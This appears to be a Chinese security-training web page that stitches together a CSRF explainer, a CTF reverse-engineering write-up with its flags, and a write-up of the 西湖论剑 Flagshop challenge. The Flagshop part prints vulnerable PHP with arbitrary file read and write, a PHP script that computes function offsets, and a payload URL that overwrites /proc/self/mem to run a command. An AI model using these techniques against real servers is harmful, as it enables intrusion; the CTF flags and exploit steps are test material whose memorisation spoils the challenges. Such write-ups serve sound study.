■浏览器收到这些恶意代码以后,在用户不知情的情况下,利用cookie信息,向网站A发送恶意请求,网站A会根据cookie信息以用户的权限去处理该请求,导致来自网站B的恶意代码被执行。这样太过于官方,简单来说就是通过构造URL造成攻击的就是CSRF,用目标的cookie来执行我们的攻击。
02 你的钱为什么会被转走?
现在有张三和李四进行转账。
1、张三给李四100块,执行的操作是:
xxx/transfer.php?from=张三&money=100&to=李四
注意此时的张三没有把页面关闭掉。
2、黑客想把钱转给自己,执行的操作是:
xxx/transfer.php?from=张三&money=100&to=黑客
很明显会失败,这是因为张三在登录系统的时候会通过cookie,把自己的session传递给后台服务器。此时系统检查当前的session中的身份,发现不正确就拒绝了。
3、黑客继续想办法,使用不良网站诱导:
网站的连接很有颜色感,让张三欲罢不能,于是点击了诱导链接A。此时返回给黑客的信息就是:
如果此时张三刚刚给李四转完钱,并且页面还没关闭,就点击了这个链接,那么就会执行上面的操作。这是因为此时的黑客身份就是张三的信息,银行不知道以为是张三,于是接受了请求。
03 如何挖掘CSRF漏洞
CSRF用于越权操作,漏洞在有权限控制的地方,其构造URL或者get提交,都可以测一测。
黑盒
打开非静态操作的页面,抓包查看是否存在token,如果没有token,直接请求这个页面,不带referer,如果返回的数据是一样的话,那说明很有可能有CSRF漏洞了。
白盒
读代码的时候看看核心文件里有没有验证token和referer相关的代码。可以直接搜索token关键字。
使用工具——半自动检测CSRF
使用CSRFTester教程
https://www.sogou.com/link?url=DSOYnZeCC_p8qT7bQ6Ez_IrwkGJvRRLdYQYE4_vHjb03UFOatHCO_d9GQw9zhM_U
下载地址:http://www.mediafire.com/file/3j9kbyd3rtardq5/CSRFTester-1.0-src.zip/file
CTF挑战赛-蚁景网安实验室
[TOCCTF挑战赛-蚁景网安实验室逆向解析]
http://www.yijinglab.com/CTFrace.html1.逆向100
修改后缀为.apk
安卓模拟器打开,发现要求输入Password
用Android逆向助手打开,dex转jar,发现明文password
描述输入,得到flag。
2.逆向200
题目描述: pwd1_pwd2在这里插入图片描述疑似有两层密码,查壳无壳。
先求pwd1
OD打开,查字符串, 在这里插入图片描述双击“You passed level1!”,进入代码窗口。F2下断点,F9运行,程序终止,发现操作错误。
重新运行,双击上一行文本“%20s”。下断点,运行,F8单步,
程序运行,随便输入1111。F8单步,发现字符串。
求pwd2
既然下面%20s为第一层,则同理第二层为最上面的%20s,双击跟随到代码窗口。
在求出pwd1时,新出现一个API:
此为百度截图 在求pwd2时,下断点并运行,发现最后程序终止,我们无法到达想要去的函数。
………………………………………………………………………………
为复制,
AddVectoredExceptionHandler 将一个指向函数的指针作为参数,把这个函数的地址添加到已注册的异常处理程序链表中。
那么这里的int3异常会交给异常处理程序链表中第一个处理函数处理,假如调试器处理这个异常,我们就到不了那里了,所以od的设置一定要忽略所以异常,让程序或系统自己处理。
…………………………………………………………………………
重新运行程序,
004215AB处下断点,运行,输入第一层密码,F8单步,程序开始运行,随便输入密码2222.F7单步进入。
跳到401547.
f7跟进,我们可以看到作者设定的常量了,
首先判断是否到达字符串的结尾,这里作者设定的是二进制的02为结尾。
分析,将je 改成jmp,直接在cmp处下断点,不断f9,记下al中的每个字母,即为pwd2.
flag:r0b0RUlez!_w3lld0ne
西湖论剑 Flagshop 分析复现
前言
比赛时候没能做出来,其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多,也希望分享给大家。
任意文件读取
抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。
读取题目全部源码:
backend.php
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";
if (isset($_GET['writefile'])) {
$fp = fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}
if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}
?>
index.php
<?php
if(!isset($_COOKIE['sandbox'])) {
$uuid = system("/var/www/html/copy");
setcookie("sandbox", $uuid);
header("Location: sandbox/".$uuid);
} else {
header("Location: sandbox/".$_COOKIE['sandbox']);
}
文件写入
◆ 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。
◆ 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)
内存泄露和动态链接库
/proc/self/maps
包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593 /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165 /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165 /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494 /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494 /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
◆ 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。
◆ 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590
◆ 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>
计算偏移
◆ 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。
◆ 这里需要用到/proc/self/exe
在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.
在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.
同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。
<?php
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>
修改进程内存
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
◆ 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。
backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
◆ 直接读取/tmp/i_o_u_hlq就可以直接getflag
参考
Nu1L 西湖论剑wp
https://blog.spoock.com/2019/10/08/proc/https://www.pianshen.com/article/4537767804/相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814141500001&pk_campaign=heetian-wemedia
(CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

